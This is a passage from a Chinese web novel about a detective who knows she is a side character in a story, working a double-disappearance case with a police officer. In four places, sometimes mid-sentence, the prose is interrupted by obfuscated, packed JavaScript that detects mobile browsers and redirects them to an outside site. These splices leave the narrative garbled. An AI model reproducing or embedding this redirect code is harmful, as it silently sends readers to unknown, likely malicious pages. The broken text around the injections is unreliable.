今天她全程躲在洗手间摆烂,总算把那个可怕的剧情躲过去了。 没被剧情控制做出蠢事太好了。 陈定言从今天起将成为坚决抵制被降智配角保护协会的名誉会长。 至于案子…… 陈定言拿起另一本漫画,那是尹瑶的“笔友”、吕泰平的出轨对象程璐雪最近出版的漫画。 “看完漫画就睡觉,是的,我是在查案。”她对自己说。 现在案件还没完全展开,她已经知道整个真相了。她总算明白被剧透的感觉有多糟心了。她再怎么也不能赶在警察前面去荒郊野岭把尸体挖出来。 现在她能做的就是找出证据,找到办法——不仅是查案。 …… 孟行霄把外婆接回家。 外婆像是上了一天学的小学生,满脸春风絮絮叨叨地对他说关于事务所内的情况。 公交车行驶得不那么平稳。 他则开始走神思考是不是应该提前买辆车,免得外婆每天和他一起坐公交车。 “小霄,小裴不是她的男朋友,你放心好了,我问过了。”外婆突然想到了什么重要的事,压低声音道。 车内杂声太大,孟行霄只听了个大概,他本应该像刚才那样若无其事地继续听下去,但他的耳朵捕捉到了“男朋友”这个词,下意识地脱口而出:“什么?” 外婆稍微提高了一点音量,重复道:“她还没有男朋友。” 前排坐着的乘客被潜在的八卦吸引转过头来。 孟行霄一怔,突然意识到了他对“陈定言的男朋友”这个话题的好奇心并不适宜。 他压下一瞬间的慌乱,将思绪调到另一个频道。 外婆之前捡到自封袋那个案子,他已经开始着手调查了。他认同陈定言的推理,但他多少有点好奇她为什么在他面前表现出矛盾的特质。 此外,他没有从小玩到大的朋友,他也不理解她和裴勉知之间的关系。 公交车一个刹车。 孟行霄眼疾手快地抓住前座靠背的同时,伸手扶住了外婆。 他再次回过神来:他本来是在思考“自封袋”案件的细节,不知怎么的绕来绕去的就开始思考关于陈定言的事了。 …… 陈定言熬了个小夜看完两本漫画,精神颓靡地起床。 她打着哈欠打开事务所的大门,在电脑桌前象征性地坐下,实则一头栽倒在桌上继续睡回笼觉。 她今天要做的事,首先是按照尹瑶给出的程璐雪的地址,前去查看程璐雪的情况。 如果程璐雪果然失踪了,她再研究程璐雪的社交账号,寻找线索。通常,她会通过社交账号上发布的图片确定地点,再通过朋友列表获得信息。 没过一会儿,孟行霄把外婆带过来了。 “早上好。”她强撑着抬起头打招呼,额头上印出了袖子上的螺纹。 孟行霄停下脚步,他的表情像是被吓到了,他完全没有想到她会和他打招呼。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502943|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “早上好,定言。”外婆说完,往他手臂上一拍:“打招呼啊,没礼貌。” 孟行霄有一种说不出来的感觉,却并不是感到讨厌,他说不上来是什么。 他的喉结上下滑动了一下,低声道:“抱歉,早上好。” 回笼觉睡到上午九点半,陈定言头脑如浆糊地醒来,看了一眼时间,又环顾了一圈四周,确认周围一切正常。 一杯咖啡下肚,她的头脑逐渐清醒起来,记忆也稍微完整了一点。 哪壶不提开哪壶,偏偏她记起来的是:刚才好像有某人跟她说“早上好”了。 孟行霄吃错药了吧? 换作是她,绝对不会说“早上好”这种尴尬的话——咦,真的不会吗?算了不管了。 她摇了摇头,把脑子中乱七八糟的线团拂去。 上午十点,陈定言到达程璐雪所在的地址。 公寓大厦门口有门禁关卡,还有保安巡楼,第一关就把陈定言挡在了外面。 她的表情立刻变得愁苦。 这种事就该警察来调查,监控门禁卡记录一看啥都清楚了,还有她这种没什么权限的私人侦探什么事。再说,警方肯定会来查程璐雪的,轮不到她多事。 陈定言向来很擅长放弃,她说服了自己,转身就走。 “陈定言……?”有人犹疑地叫了她一声。 陈定言总觉得声音有点熟悉,却不敢认,把手揣进口袋里,若无其事地大步走。 她的脑子里拉过一长串弹幕:听说现在有人会冒充过去的同学,用来拍大街随机路人挑战,碰到这种情况就这么路过就好了……虽然对方好像知道她的名字,但是假装遇到了随机挑战的视频博主就好了。 虽然这个声音确实有点像她的高中同学,但她昨天晚上没睡好,就假装没听到好了。 她一边在脑子里碎碎念,一边大步走。 那人几步跟上来,一把按住了她的肩膀:“喂,你要假装不认识我吗?” 【赛车手薛繁恩,她的高中同学,性格标签:作精白月光。】 薛繁恩是四分之一混血,微卷的乌发有些凌乱,身形高大。天气并不热,但他只穿着T恤,肌肉线条将T恤的倒三角区撑满。 陈定言没有和他对视,浑身透着社畜的疲惫感:“我现在真的没时间跟你闹了,我有一个大案要查,你让让我吧。” 薛繁恩愣了一下:“我家隔壁?我下楼的时候警察刚来。” 陈定言:“……” 她是成熟靠谱的大人了。她的目的是调查。她不和这种小孩子脾气的家伙纠缠。 她深呼吸几口,公事公办地道:“这里有门禁进不去,麻烦带我上楼,谢谢。” 9. 第 9 章 薛繁恩三两步跑去在门卫处登记。 这栋公寓大厦的门禁系统比较严格,一次门禁刷卡只允许一个人进,住客要带客人的话,只能老实走人工通道,门卫登记后放行。 电梯里只有陈定言和薛繁恩两人。 楼层在十九楼。 电梯在电梯井里上滑。 陈定言在手机上划出程璐雪的照片,拿给薛繁恩看:“她是你的邻居吗?有印象吗?” 薛繁恩脸色不是很好看,冷冷地讽刺道:“我们很多年没见了,你见面就跟我谈这个?” 陈定言按捺不住扬起来的声调:“你欠揍?” 薛繁恩被骂回原形,隐约有点委屈,又拉不下来脸来,瞥了一眼照片上的人。 他简短地回答着,别过眼神看向光滑蹭亮的电梯壁:“有印象,就住在我对门。” 在这个警察获得胜利的世界,比警方更早薅到证人证言简直是天降大饼,陈定言恨不得上手把薛繁恩脑袋里的记忆全部抓出来翻一遍:“还有什么关于她的细节,都告诉我。” 薛繁恩眼神复杂地把目光转向她,嘴唇动了动,欲言又止,到头来却一言不发。 电梯正在一层一层地上行。 十四,十五…… 陈定言就知道这个家伙又犟又难搞,这么多年来还是一点没变,心思难以捉摸。 她看向跳动数字的电梯面板,眼神是遭遇了滑铁卢的疲惫:“算了我不逼你了,是我的错。” 薛繁恩微微仰起头,手摸着后脑勺,往下顺到脖颈上,他嘴角翘着,却没让她瞧见,语气懒散地道:“你的联系方式给我,然后我会告诉你的。” 陈定言拽过他的手,把名片用力地塞在他手里。 她开始思考总有一天要套麻袋把他揍一顿。 电梯到了十九楼。 …… 警察正在程璐雪家里寻找线索。 系好扎紧的垃圾袋还没来得及下楼扔,垃圾桶里已经套上了新的垃圾袋,里面扔了香蕉皮和一些塑料袋包装,香蕉皮已经完全干了,小飞虫嗡嗡地在周围盘旋。 卫生间里凡是有水迹的地方都是几天前的干涸水迹,显然这几天已经没有人用了。 卧室的床上是一大堆衣服,但并不是脏衣服,而是从衣柜里取出来的。 冰箱里的食物中,橘子皮已经开始发皱,没吃完的外卖盒子上,贴着的外卖信息标签是4月23日当天的。 从房间的情况来看,程璐雪走得很匆忙,而且并没有出远门的打算,否则她不会让即将变质的食物留在家里。 “根据警卫的证词,我们可以想象,五天前程璐雪和吕泰平有一个约会,程璐雪在楼上换了好多件衣服还是不满意,把这些衣服往床上一堆,还没来得及把它们重新放回衣柜,吕泰平就已经到了楼下。” 怀东警官在房间里走来走去。 宗乐桐警官走到窗边,她颇为无语地道:“别晃了,头晕。” 怀警官停下脚步,双手比划着,捏起嗓子模仿:“吕泰平打来电话说,喂璐雪,你怎么这么慢?我已经到楼下了。” 一边的郝警官对搭档孟行霄道:“这家伙就喜欢自说自话自己表演,事实上有零个人想听他的推理。” 孟行霄的思绪从推理中抽离出来。 这是他的同事们。 一个郝仁安郝警官,人称“好人”,郝警官是警局里对他比较好的同事,也是他的搭档。 一个怀东怀警官,人称“坏东西”,不知道是否是某种微妙的错觉,怀警官对孟行霄的态度很差。 另一个怀警官的搭档宗乐桐警官,人称“中立派”,对孟行霄偏向礼貌公事公办。 由于在昨天的问话中,陈定言点破了“程璐雪就是吕泰平的出轨对象”这个事实后,警方无法对程璐雪的“失踪”坐视不理。 程璐雪成了案子中的关键人物。 程璐雪一向孤僻,和父母联系也是一周一次简短的通话,其余时间不会搭理他们,因此这次程璐雪失踪五天,程父程母并没有察觉。 在确认了程璐雪联系不上后,今天警方来到程璐雪家中寻找线索。 怀警官还在自说自话地进行他的推理模仿秀:“程璐雪接到电话后,把这些衣服往这边一堆,随便换上一件,垃圾袋也忘了拿,急匆匆下楼出门见吕泰平,没想到那天晚上之后,她就再也没有回来。” 根据楼下警卫的证词和监控显示,4月23号当天,吕泰平确实在楼下等程璐雪,下午五点多,程璐雪下楼和吕泰平姿势亲热地一起离开公寓大厦。 怀警官脸色沉肃:“道路监控显示,4月23日晚上九点多,吕泰平一个人开车回家。这已经很能说明问题了吧?吕泰平杀了程璐雪,抛尸后回家一趟,在半夜收拾好东西逃走!” “抛尸后为什么还要回家一趟?” 陈定言蹲在一边,真诚发问。 沉浸于自己推理的怀警官被突然出现在旁边的侦探吓了一跳:“喂,你是从哪里冒出来的?” 陈定言站起来,视线飘向身边的薛繁恩:“还有一个人呢。” 怀警官再次被吓了一跳,管不住自己的嘴巴,一句国粹脱口而出。 那么大两个人安安静静地出现在他旁边,着实是让他魂飞魄散了一瞬间。 薛繁恩指了指门口:“门口的警员让我们进来的,就从那个门走进来的。” 怀警官丢了面子,浑身散发着不高兴的气息,冷哼一声,去其他房间检查线索了。 孟行霄看向陈定言和她身边那个男人。 薛繁恩敏锐地察觉到了孟行霄的打量,微微眯起眼睛扫了孟行霄一眼。 孟行霄的目光落在陈定言身上,问她:“他是本案相关人员?” 陈定言移开视线,随口道:“程璐雪的邻居,有什么事可以问他。” 一和孟行霄交流,那种被剧情控制的感觉又浮上来了。 但是这个场景本不该出现在剧情中,剧情中她没有遇到薛繁恩,也没能进入程璐雪家里。 难道在非剧情的场合里,她也会被buff影响吗? 虽然这种被影响的感觉不如上次那样强烈,但她还是有种忍不住怼孟行霄的冲动,没办法了,只能先用棒棒糖堵住嘴巴了。 陈定言从口袋里摸出棒棒糖,撕开糖纸放进嘴里。 宗乐桐警官却对一开始陈定言提起的那句话更感兴趣:“继续说刚才那个,吕泰平抛尸后为什么还要回家?小陈,你有什么发现吗?” 本应该去阳台检查的怀警官此时又出现在卧室门口,他不允许任何人鄙视他的推理,打断对话道:“我刚才已经说了,监控显示吕泰平凌晨一点多又离开家了,然后吕泰平再也没回来!这还不能说明什么吗?” “吕泰平杀了程璐雪后抛尸,但他总要回家装个样子给老婆看,他假装若无其事地睡觉,等妻子入睡后就拿好衣服和生活用品开车逃亡!” 陈定言对此不想说什么。 她咬着棒棒糖,把薛繁恩推到郝警官面前:“郝警官,去外面问他,看有什么线索。” 郝警官看向薛繁恩,笑道:“对对,你一直待在这里也不好——不过等一下,让我听完这场对话。” 陈定言:“……” 她只是想赶紧逃离这个存在孟行霄的场合,但就连在场最好的“郝警官”都想听一嘴破烂推理再走,真是够了。 怀警官还在洋洋得意地推理:“吕泰平并不是计划在这天杀人的,他可能是失手或者实在忍不住了才杀人,所以他不小心留下了自己曾经在公寓楼下等程璐雪的证据,他知道自己逃不掉警方的追捕,就决定逃亡。” 郝警官忍不住插嘴:“但他既然知道警方肯定会怀疑自己,还决定逃亡,为什么还非要回家装作若无其事的样子,骗一下老婆再跑呢?” 怀警官顿了顿,也注意到了刚才他的猜测有逻辑不通顺的地方。 怀警官改口的速度倒是飞快:“这很简单啊,吕泰平毕竟不是犯罪高手,脑子转得没那么快。他本来想瞒天过海的,抛尸后就回家装作若无其事的样子,但是回家睡不着,越想越不对,发现自己留下了致命的证据!所以他半夜临时起意逃走了。” 宗警官对滔滔不绝的“郝”“怀”两位警察感到无语:“你们两个闭嘴,我在和小陈说话。” 被点到名字要求发言的陈定言心想这一遭今天是躲不过了。 她没办法,只能硬着头皮把自己的发现说出来:“充电宝,手机充电器,程璐雪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502944|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家里这几样东西都消失了。” 这话一出,在场的四位警察都愣了一下。 是真的。 整个屋子里,插座上没有手机充电器,桌子上茶几上床头柜上都没有,抽屉里也没有。 尽管整个屋子的摆设表明了程璐雪只是出去一会儿,很快就会回来,甚至床上的衣服都没来得及收拾。 但如果不出远门的话,为什么要带上充电器和充电宝? 怀警官不服气,但这会儿也只能小声嘟囔:“就是存在那种电量焦虑症的人的,手机电量掉到80%就紧张得不行了,说不定程璐雪就是这种人,即使出门约个会也要带上充电器充电宝。” 陈定言打开手机,翻到程璐雪的社交账号。 “程璐雪发的动态中,自己手机的截图上大多数情况电量都是10%,5%,2%。甚至某天在外地玩,手机电量截图是8%。我不认为她有电量焦虑症。”她说。 这个证据出来后,怀警官一击即溃,脑袋上阴云密布地面壁去了。 郝警官挠了挠头:“我已经越来越晕了,所以整件事到底是怎么回事?” 对于尹瑶来说,小三和丈夫前后脚失踪,小三在约会时便不知所踪,丈夫约会结束回家半夜开车逃跑。 小三似乎是知道自己要出远门,但故意把家里布置成没出远门的样子。 在这个双重失踪案中,会有人死亡吗?死亡的人会是在约会中失踪的程璐雪,还是逃跑的丈夫吕泰平? 陈定言悄悄看了一眼孟行霄,但意料之外的是,他今天居然全程保持沉默。 真是奇了怪了。 按照孟行霄的推理能力,现在也应该得出自己的见解才行。难道是在场警察太多了,七嘴八舌的搞得他根本没机会发言? 她的目光落到孟行霄身上时,正好和他看向她的目光相撞。他的眼神平静得无法判断其中的情绪,犹如深潭一样漆黑。 无意中对视后,孟行霄很快别过了眼神,看向别处。 陈定言开始怀疑她今天可以大出风头,实际上是因为男主孟行霄没有说话,堵住了她失去理智的那条路。 但她很快又意识到这只是她的错觉,因为孟行霄的心情看起来并不怎么好。 这时,薛繁恩扯住了她的衣袖,似乎要示意她什么似的轻轻拉了一下。 陈定言这才想起来身边还有一个沉默的隐形人。 薛繁恩微微俯下身,凑到她耳边,压低声音道:“我刚才下楼是去拿外卖的,外卖员在催了,我先去一趟。” 陈定言无语:“……你不早说。” 薛繁恩语气散漫地道:“看到你,我忘记了嘛。” 在场三个自顾自讨论案情讨论得热火朝天的警察见薛繁恩走出去,才有人反应过来。 郝警官终于开始着急:“诶诶,怎么走了?我还有话要问呢。” 怀警官一拍大腿:“对啊,还有邻居这个证人,这么大个人杵在这儿呢。” 陈定言解释道:“他去拿外卖,很快就回来了。” 她说着话,却感觉到孟行霄又在看她了,用那种审视的眼神。 她终于忍不住了,剧情控制的buff在她身上大爆发。 陈定言咬碎了嘴里的棒棒糖,以便自己怼人的时候能更为牙尖嘴利一点。 她看向孟行霄,语气不善地质问:“孟行霄,你今天是哑巴了吗?为什么全程不说话?” 死对头就是死对头,她怎么看他都不顺眼。 她甚至已经开始分不清到底是剧情控制的力量还是她真实的感受了。 怀警官向来就看不惯孟行霄这个新人警察,这回可给他逮着机会了,他顺着陈定言的话道:“这小子上次侃侃而谈,今天一句话都说不出来了,唉真是。” 郝警官连忙打圆场:“多观察少说话嘛,小孟一定是这么想的。” 怀警官一听郝警官的发言气坏了:“照你这么说,我们在这里是浪费口舌,没有证据乱怀疑?” 宗警官额头上跳动着青筋:“都别吵了。” 处于漩涡中心的孟行霄终于开口了,眼神温度特别低:“你们都说完了,我没什么可以说的了。” 刚才挑起战火的陈定言默默移动到了角落里。 10. 第 10 章 陈定言总算验证了她的想法。 孟行霄今天心情果然前所未有的差劲,但他情绪不外露,很难判断到底事实到底是不是如此。 她主动挑起战火,是因为在这种情况下能最大程度地激化消极情绪。 孟行霄的表现证实了她的猜测。 从他的语气和表情,她能看出来他很不爽,并不是愤怒,而是微妙的烦躁。 陈定言慢慢往门的方向移动:“我有事,先走了。” 拱火,然后逃走。 这简直是她的个人格言了。 更何况此刻的情况远超她的想象。她现在不走的话,等会遇到重新上楼的薛繁恩,她的头脑会爆/炸成碎片的。 她头也不回,在现场警察们的注视下逃之夭夭。 陈定言走的是安全楼梯,来到第十七层楼,却没有再走下去,而是埋伏在电梯边查看情况。 她现在下楼一定会碰到上楼的薛繁恩,所以要看好时机再坐电梯。 电梯门旁的显示屏上慢慢开始从“1”跳动。 当显示屏上的数字跳到“19”的时候,她火速按下电梯下行按钮。 这代表薛繁恩已经重新回到第十九层楼了。现在就是逃跑的时候! 等薛繁恩和警察交流的时候发现她走了,想再追上来也来不及了,更何况警方还要抓住他问话。 电梯门开,陈定言一路顺利地到达一楼,从门禁离开。 走出公寓大楼,她松了一口气。 “是我的智慧救了我一命。”回到事务所,她如此对裴勉知和外婆道。 裴勉知随口道:“逃走的智慧。” 陈定言吃了一惊,要不是因为知道事实情况,她都要怀疑裴勉知在她身上安监控了:“你怎么知道?” 裴勉知抬起眼看着她,扬了扬眉:“你脸上表情就写着:谢天谢地我跑出来了。” 陈定言:“……” 外婆关心地问:“遇到什么事了?怎么要逃?” 陈定言略过孟行霄浑身散发的不祥气场,拣着薛繁恩的那一块详细说了:“遇到一个高中同学,他很烦人。” 裴勉知一听她说“高中同学”,便明白了。 他站起身,一副教导主任的模样对陈定言道:“陈定言,你等会过来一下,我在厨房。” 陈定言和外婆侃完事情,果然按照裴勉知的话去厨房找他。 裴勉知双手抱臂,靠在料理台边,语气冷然:“事情没有那么简单吧。” 陈定言老实交代:“联系方式,我给出去了。” 裴勉知沉默了片刻。 陈定言为难地道:“当时的情况是真的很难办,我也不知道怎么办。” 薛繁恩有“作精白月光”这个称号是有原因的。 高中时,陈定言和薛繁恩并不是同一个班的,那时的陈定言已经收敛了锋芒,从父母的角度来看,陈定言已经“痛改前非好好做人”。 洗心革面的魔王不再做赏金猎人,自然也不再收钱给人出馊主意,最多就是收点零食帮人写情书。 那时陈定言沉迷密码破解,用各种密码帮同学写情书,附上破解方法,这个业务很快就得到了广大同学的关注。 住校生最缺的就是粮草,陈定言决定用零食作为交换物品,为方圆五里的同学批发密码服务,于是她拥有了大批的零食军备。 当时学校里收到情书最多的就是薛繁恩。 薛繁恩完全无视情书下面的各种署名以及其他来给他递交情书的同学,某天午休大课间,他拿着一叠密码情书找上了门。 他站在教室后门,人高马大凶神恶煞地往那一站,就有同学自动变叛徒:陈定言,有人找你! 陈定言没想到会被她的零食大军背刺,她放眼望去,竟没有一个人敢发言。 所有人都在看她。 陈定言自认倒霉,为了防止事态扩大,主动提出谈判:周末见,到时候再说。 周末,吃了哑巴亏的陈定言信守诺言,准备把事情真相坦白相告。她在心里组织语言:我错了,我最近沉迷密码破解,找不到人练手,所以我…… 薛繁恩一句话彻底终结了她的语言能力,他别着脸不看她:既然都这样了,高 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502945|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考结束交往试试。 陈定言就差以头抢地。 后来,陈定言花了好几个月,有时间就对薛繁恩输出洗脑包。 薛繁恩终于忍不住了,他闷声问她:我知道情书不是你写的,但你就那么讨厌我吗?我那时只是找了个借口向你告白而已。 陈定言遇到这种事反而嘴巴不利索了,只会阿巴阿巴,她也不知道自己说了点啥。 总之薛繁恩脸色一下子阴沉下来,后来便没再和她说过话。 是的,一句话都没说过。 但在那几个月的相处过程中,她也稍微了解了一点薛繁恩,所以多少还是对他有点好感的。 裴勉知问:“他肯定会来找你,你准备怎么办?” 陈定言试图往乐观的方向想:“都小时候的事情了,应该不会怎么样了吧?我看他现在也没在和我闹别扭了。” 裴勉知沉默。 陈定言也沉默。 事情都是她自己惹出来的。 她算是明白了,她要是改一改她到处拱火的习惯,或许人生会稍微平静一点。 她脑子里忽然灵光一闪:“这次我什么都没说就逃走了,他估计又生大气了,按照他的脾气,一生气就是很久,所以短期内应该不会再找上门了。然后下次见面,我再惹他生气,他估计就一辈子不理我了。是不是这个道理?” 裴勉知无言以对。 陈定言认为她的推论很有道理,因为直到傍晚,薛繁恩都没有联系她。 傍晚,孟行霄来事务所接外婆。 他身上那股冷冷的劲儿还没有散去,一言不发,微微朝陈定言点了点头,权当打招呼。 外婆向他飞去眼刀,示意他好好和人说话,不要这么没礼貌。 孟行霄在强权压迫下这才生硬地开口。 外婆看出他有点不对劲,考虑到时机把话按捺下。 等到回家后,外婆才半是质问半是担忧地问他:“小霄,你怎么回事?定言是个很好的孩子,你非要和她闹僵吗?” 孟行霄皱了皱眉:“外婆,这件事别再说了,她讨厌我。” 11. 第 11 章 晚上是陈定言在一天中最喜欢的时间。 那意味着她可以有“不在非工作时间加班”这种符合劳动工会口号的理由光明正大地偷懒。 为了在晚饭之前完成想做的工作,陈定言还在加紧速度做调查对象程璐雪的人物侧写。 【饭好了。】这是裴勉知的第一条消息。 【饭冷了。】这是裴勉知走到她身边看了一眼她正在做的工作时给她发的第二条消息。 【饭僵了。】这是裴勉知索性搬了个椅子坐在她身后时发的第三条消息。 陈定言写完最后一条,伸了个懒腰。 裴勉知站起身,走到她的椅子后,双手扶着椅背:“做完了?” 陈定言脑袋往后仰靠在椅背上,看向裴勉知:“耶?从这个角度来看,你像座山一样。现在几点了?” 他看了一眼手表:“晚上八点。” 她从椅子上蹿起来:“怪不得呢,我说怎么会这么饿。” 裴勉知把饭又去热了热,坐在餐桌对面看着她吃。 陈定言有时候会怨恨自己的强迫症,她喜欢完整地完成一项工作,如果某项工作忽然被打断,让她开始另一项工作,她会浑身不舒服。 她完成程璐雪的个人侧写后,心情舒畅了,只是还有一件事让她感到烦恼。 陈定言放下碗筷:“外婆那件事还没个结果,总感觉哪里堵得慌,每天都有点焦虑。” 剧情被她改变了,她根本不知道这件事会演变成什么样。凶手是否还会再找上门来,会不会换个人过来,她一概不知。 裴勉知思考了一下:“你把那个当成主线,把平时的案件当成阶段性任务,这样会好点吗?” 陈定言抬手托着下巴:“是吗?好像是。” 在原来的剧情中,孟行霄外婆被杀一案一直没有解决,直到剧情结束的时候孟行霄才在某个大案中找到了线索,找到凶手完成报仇,这案确实是主线。 裴勉知随口一句话竟然正中靶心。 但是现在,这个案子不仅是孟行霄的“主线”,也变成陈定言的“主线”案件了。 剧情似乎已经在逐渐走向另一个地方,这样想的话,是不是某一天世界意志加在她身上的降智buff也会消失? 陈定言想到这里,心情立刻好转,她一拍桌子:“就是这样的。” 桌面被她的降龙十八掌拍得稍微震了一下的同时,放在桌面上的手机也震动起来。 ——电话来了。 她看到来电显示:孟行霄。 …… 孟行霄家门口外置楼梯和通向门的那一小块就算是阳台,用铁丝从窗户引过来扭在门旁的挂钩上,这是晾衣服的绳子,天晴的时候便把衣服挂在晾衣绳上。 孟行霄走出屋外,从晾衣绳上把晾着的衣服都收下来,收到最后一件的时候他的动作停顿了一下。 他回过头,看到挂在门边那串小小的陶瓷风铃。 在他说了“她讨厌我”那句话后,外婆当然给了他做了一顿思想教育工作。 外婆说:你不要听她说什么,你要看她做什么。 孟行霄把所有衣服收进屋里。 他再次走出屋外,在窄小的一方阳台上看向外面的街道。 街道两边小吃店主摆起摊子,暖色的灯光和香气飘来。天色已经暗了,对面的房子窗户里亮起了灯,被窗帘遮住大部分的光线,只在整体昏暗的背景里留下一方淡淡的颜色。 孟行霄双手搭在扶栏上,他微微低下头,思考了很久。 他拿出手机,拨通了电话。 …… 陈定言刚才还在思考关于外婆被卷进的那个案子,这会儿接到孟行霄的电话,开口第一句就是:“凶手找上门来了吗?” 电话那头,孟行霄却道:“没有。” 急匆匆准备穿外套出门的陈定言停下动作,她有种被耍了的郁闷:“那你在非工作时间打来干什么?我要多收委托费了哦。” 孟行霄一手拿着手机放在耳边,一手握着栏杆,这次他却没有因为她不善的语气而感到烦躁,反而像是证实了什么心里的猜测一样,轻轻呼出了一口气。 他平静地道:“我打错电话了,抱歉。” 陈定言是傻子才会相信他打错电话的借口,她追问:“不要耍我,到底有什么事?” 孟行霄更加确认他的推测,他的肩膀松落下去,仿佛心里一块大石头落地:“没事。” 陈定言这才确定他真的没事,就是无聊打来电话专程耍她,她重新在座位上坐下:“你这样子我要多收钱了。” 孟行霄握着栏杆的手也放开了,修长的手指在栏杆上松松地搭着。他自己都没察觉的,嘴角扬起一抹温柔的弧度:“随便你, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502946|170443||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢谢。” 陈定言不明白“多收钱”和“谢谢”之间的联系,她沉默了一下,颇有些无语:“没事那我挂了。” 孟行霄也没有多说什么,只是道:“再见。” 陈定言挂掉电话,只觉得一头雾水。 她甚至开始猜测是不是孟行霄这个倒霉蛋遭绑架了,在给她暗号。 但事实证明他打电话来果然什么事都没有。 裴勉知看着她脸上的表情变化,即使不用问也知道和她通话的是谁:“我以为打电话过来的会是薛繁恩,结果是另一个人?” 陈定言郁闷:“我也以为会是,亏我还以为孟行霄被绑架了在给我暗号,我使劲在那猜呢。” 裴勉知哧的笑了出声。 陈定言确实没料到会是孟行霄打电话过来。 她以为会是薛繁恩,毕竟她今天给了他名片,没有任何告知地提前溜走了,她以为他会打过来质问她为什么跑走。结果他没有。 她猜想即使是薛繁恩,可能也长大变成靠谱的成年人了,这么一想她又松了一口气。 经过电话乌龙后,陈定言终于迎来了她真正的夜晚。 她搬出自己的零食储备,打开平板,找出看剧历史记录,还在放广告的时候她找了舒服的姿势坐好,拆开零食包装袋。 漫长的广告终于放到最后一秒的时候,她的手机又震动起来。 陈定言杀心都起了。 她紧急暂停视频,放下零食袋,虎着脸接起电话。 “孟行霄。”越简短杀意越重。 好在孟行霄这回并不是故意扰乱她的夜晚秩序了,他的电话背景音里满是杂音,显然他自己正在急匆匆出门。 “接到报案,有人发现吕泰平的汽车在山上撞到了树,已经报废了。” 陈定言按捺下杀心,稍微有些诧异:“为什么告诉我?我也不是警察。” 她只是私家侦探而已,虽然也算参与了案件的调查,以往也多次帮助警察破案,但毕竟只是侦探,这种实时消息不会告诉她。 孟行霄快步走下楼梯:“你可能会想知道。” 电话挂断后,陈定言盯着暂停的视频怔了几秒。 为什么孟行霄突然告诉她案情的实时进展。 不可能的。 天塌下来这都是不正常的现象。 一定有阴谋。 12. 第 12 章 孟行霄的电话让陈定言接下来的看剧时间不那么舒服了。 她总觉得自己应该做点什么,虽然事实上她一点都不喜欢在休息时间加班。 陈定言没办法,溜达出去放松心情,顺便象征性地做点老年人锻炼动作,甩手抬腿。 裴勉知听到她在外面踢拖踢拖的声音,便走出房间来,审视了一下她的动作:“做标准一点,不然没用。” 她对他那种教导主任的行径熟视无睹,抬手敲了敲自己的额头:“你劝劝我,我现在脑子里全都是案子,都没法好好看剧了。” 都怪孟行霄。好好的突然给她打个电话汇报实时案情做什么? 裴勉知语气平直:“实在受不了就去加班,没必要非逼着自己休息。” 陈定言难以置信地看向他:“你看看你说的是人话吗?” 裴勉知紧跟着道:“或者跟我聊一下。” 图穷匕见了。 然而陈定言还挺吃这一套的。 正如在平常小事中得到灵感一样,很多无心之言会拓宽她的思维。 她像找到实验小白鼠一样急忙把裴勉知拉到沙发上,把他按下来,自己则拿好纸笔开始做准备工作。 “首先是人物设定,一个人渣丈夫,一个被丈夫精神虐待的妻子,另外一个是人渣丈夫的出轨对象。” “妻子和小三成为了关系很好的笔友,两人都是画师,所以隔一段时间就会把自己的画寄给对方。” 裴勉知听到这里提出了疑问:“那两个女人知道彼此的身份吗?” 陈定言日常称赞好学生:“问到点子上了!妻子知道笔友就是那个小三,根据妻子的陈述,小三不知道笔友的真实身份。妻子对小三的感情还挺复杂的,既有感激又有愧疚,毕竟要不是小三,她遭受的虐待还会加倍。” “丈夫和小三在一次约会后双双失踪,但妻子却没有报警,只是委托侦探帮她确认小三的安全。在这种情况下,你觉得谁会是死者?” 裴勉知思考了一会儿。 陈定言总算明白为什么裴勉知会提议她和他聊案子以缓解内心的焦虑了。 她既不想加班,又无法摆脱脑内关于案情的思绪,开始和他聊案情后,相当于思考的任务被他分担了一半,她心里果然舒畅多了,达到了目的:既没有加班也没有感到焦虑。 裴勉知相当确定地道:“死者是丈夫。” 